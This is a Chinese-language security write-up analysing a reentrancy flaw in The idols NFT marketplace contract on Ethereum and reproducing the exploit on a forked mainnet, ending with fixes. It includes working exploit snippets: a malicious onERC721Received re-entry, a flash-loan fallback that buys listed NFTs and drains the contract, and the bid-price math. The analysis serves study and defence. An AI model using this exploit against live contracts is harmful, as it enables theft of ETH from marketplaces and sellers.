作者:Dig2
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
背景介紹
The idols是以太坊上的NFT項目,其特點在于會按照用戶持有idols NFT的數量,分紅Lido質押獎勵(資金來源為項目公售獲得的約2250 ETH)。該項目同時發行$VIRTUE代幣,購買并質押代幣的用戶會分紅idols NFT的交易手續費(交易額的7.5%)。因此開發團隊自建了一個專用于The idols的交易平臺,以避免用戶在第三方交易平臺(例如OpenSea)交易被收取額外的平臺手續費。
3月7號,idols團隊發布聲明稱,有白帽發現了其NFT交易市場合約中存在漏洞:攻擊者利用精心構造的攻擊合約,可以取出IdolMarketplace合約中所有的ETH。
隨后idols團隊采取了以下行動:
- 主動利用漏洞,提取出IdolMarketplace合約中賣家們尚未領取的約58 ETH,防止被黑客盜走
- 刪除idols交易平臺相關前端頁面并通知用戶盡快下架idols,防止黑客主動購買idols后再利用漏洞取出ETH
- 編寫合約,用閃電貸購買了idols交易平臺中的所有idols NFT,并再次利用漏洞取出款項,然后將idols NFT還給原owner
本文對相關合約進行分析,并復現漏洞利用。
源碼分析
合約地址:
0x4ce4f4c4891876ffc0670bd9a25fcc4597db3bbf
合約實現了簡單的市場功能,包括:
- 掛單
postGodListing
- 取消掛單
removeGodListing
- 購買
buyGod
- 出價
enterBidForGod
- 取消出價
withdrawBidForGod
- 接受出價
acceptBidForGod
- 提現
withdrawPendingFunds
直接涉及到取款操作的提現函數withdrawPendingFunds和取消出價函數withdrawBidForGod都使用了nonReentrant
來防止重入攻擊。
但在沒有重入保護的購買函數buyGod和接受出價函數acceptBidForGod中,使用了safeTransferFrom
來轉移ERC721。
在safeTransferFrom實現源碼中,調用了_checkOnERC721Received
。如果NFT接收者是合約,會嘗試調用該合約的onERC721Received
函數,要求返回值必須為IERC721Receiver.onERC721Received.selector
,即0x150b7a02
。
因此我們可以構造帶有onERC721Received
函數的惡意合約,保證最后該函數返回值為0x150b7a02
,即可將其作為入口進行重入攻擊。
回到acceptBidForGod函數中,它將刪除出價操作放在了safeTransferFrom調用之后,這是該合約能被重入攻擊的另一必要條件——在godBids[_godId]
還沒被刪除時,通過調用safeTransferFrom
從而重入調用acceptBidForGod
使得pendingWithdrawals[msg.sender]
能不斷累加,再提現即可盜走合約中的ETH。
漏洞利用
重入攻擊取走所有余額
開發團隊在14340309區塊進行了第一次漏洞利用以拯救合約中的ETH。
我們fork區塊高度14340000進行測試:
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,5000000000000000000 --chain.chainId 1
此時IdolMarketplace
合約中大概有61 ETH,攻擊者Bob有5 ETH:
async function getETHBalance(address:string) {
return formatEther(await (await provider.getBalance(address)).toString())
}
console.log("Balance of idol marketplace: ", await getETHBalance(idolMarketplaceContract.address)," ETH")
console.log("Balance of bob: ", await getETHBalance(bob.address)," ETH")
// Balance of idol marketplace: 61.444988760689139709 ETH
// Balance of bob: 5.0 ETH
因為我們要利用對自己擁有的NFT出價,然后進入"接受出價-safeTransferFrom"重入循環,所以我們得先有一個NFT。查詢logs中的GodListed
事件找到一個售價為1 ETH的NFT進行購買,這里購買1426號:
await (await idolMarketplaceContract.buyGod(1426, {value: parseEther("1")})).wait()
然后思路為:
- Bob創建合約
Exploit
- 將剛購買的idols NFT發送給合約
Exploit
- 調用
Exploit
合約中attack()
函數(發送3 ETH) attack()
函數中創建ExploitReceive
合約(發送3 ETH)ExploitReceive
合約調用enterBidForGod()
函數對Exploit
合約擁有的idols NFT出價(3 ETH)Exploit
合約接受該出價,進行NFT轉移safeTransform()
safeTransform()
調用ExploitReceive
合約的惡意onERC721Received
函數,進行重入
ExploitReceive
合約中的onERC721Received
函數:
function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4) {
times++;
idolMain.transferFrom(address(this), address(exploit), id);
// 因為會被收7.5%的手續費,所以需要如下計算重入多少次
if (address(idolMarkestplace).balance > times * price * 925 / 1000) {
exploit.acceptBidAgain(id);
}
return ERC721_RECEIVED;
}
由此做到重入攻擊,具體查看Exploit和ExploitReceive合約代碼
整個流程的時序圖如下所示:
最終效果效果:
使用閃電貸"免費"獲得NFT
除了盜走IdolMarketplace合約中已有的ETH,還能先主動購買在Marketplace上上架的NFT,此時支付的ETH進入了合約中,只要再進行重入攻擊,就能把這筆錢取出來,相當于免費獲得了NFT。
稀有款NFT的擁有者往往會定很高的價,在Bob本金不夠的情況下,可以借助閃電貸完成攻擊。
流程:
- 借款
- 購買在IdolMarketplace上架所有NFT
- 重入攻擊取出剛付的ETH
- 還款
用NFT上架event和NFT下架event分析得到哪些NFT仍處于可被購買狀態:
async function getMarketNFTs(block: number | undefined) {
let nfts : {[key: number]: [BigNumber, number]} = {}
const listEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodListed(null, null, null), undefined, block);
for( const e of listEvents ) {
const args = e.args
nfts[args[0].toNumber()] = [args[1], e.blockNumber]
}
const unlistEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodUnlisted(null), undefined, block);
for ( const e of unlistEvents ) {
const args = e.args
const nftID = args[0].toNumber()
if (nfts[nftID] && e.blockNumber > nfts[nftID][1]) {
delete nfts[nftID]
}
}
let res = []
for ( const id in nfts ) {
res.push(id)
}
return res
}
考慮到idols NFT可能在別的平臺上被出售或者以其他某種方式transfer給了其他地址,對上面函數得到的結果遍歷檢查一下owner和上架人是否相同,能得到更準確的結果。
測試選取了十個定價高于10 ETH的idols NFT進行測試。
let nfts = [
'1005', '1074', '1862', '2008', '2106',
'2607', '2668', '2700', '3320', '3544',
]
Bob初始資金1 ETH作為gas:
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,1000000000000000000 --chain.chainId 1
在接收到借款后開始攻擊:
fallback() external payable {
if (msg.sender == borrowerProxy && address(this).balance >= borrowValue) {
_buyNFT();
_reentry();
_repay();
_selfdestruct();
}
}
在重入利用函數_reentry()
中,有一行:
// calculate bidPrice required to withdraw all ETH in IdolMarketplace
uint bidPrice = address(idolMarketplace).balance * 1000 / 850;
這里的850
是通過計算得出的:
設x
是idolMarketplace合約的ETH余額,y
是為了提取其所有ETH所構造的交易價。由于每筆交易有7.5%
的手續費,所以當買家投入y
ETH,賣家只能提現y * (1 - fee)
ETH。利用重入攻擊提取兩次,就是y * (1 - fee) * 2
ETH。最后解出方程就是上面代碼中的比例:
最終效果:
可以看出,已經清空了idolmarketplace中的ETH并且這些NFT的owner都是Bob
總結
本次事件是safeTransferfrom
導致的重入攻擊的實際利用。就該項目合約而言,可以通過以下等方法修復:
- 給所有函數都加上
nonReentrant
- 將狀態修改放在
safeTransferfrom
之前
本文提到的代碼可以在此github倉庫中找到。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1845/
暫無評論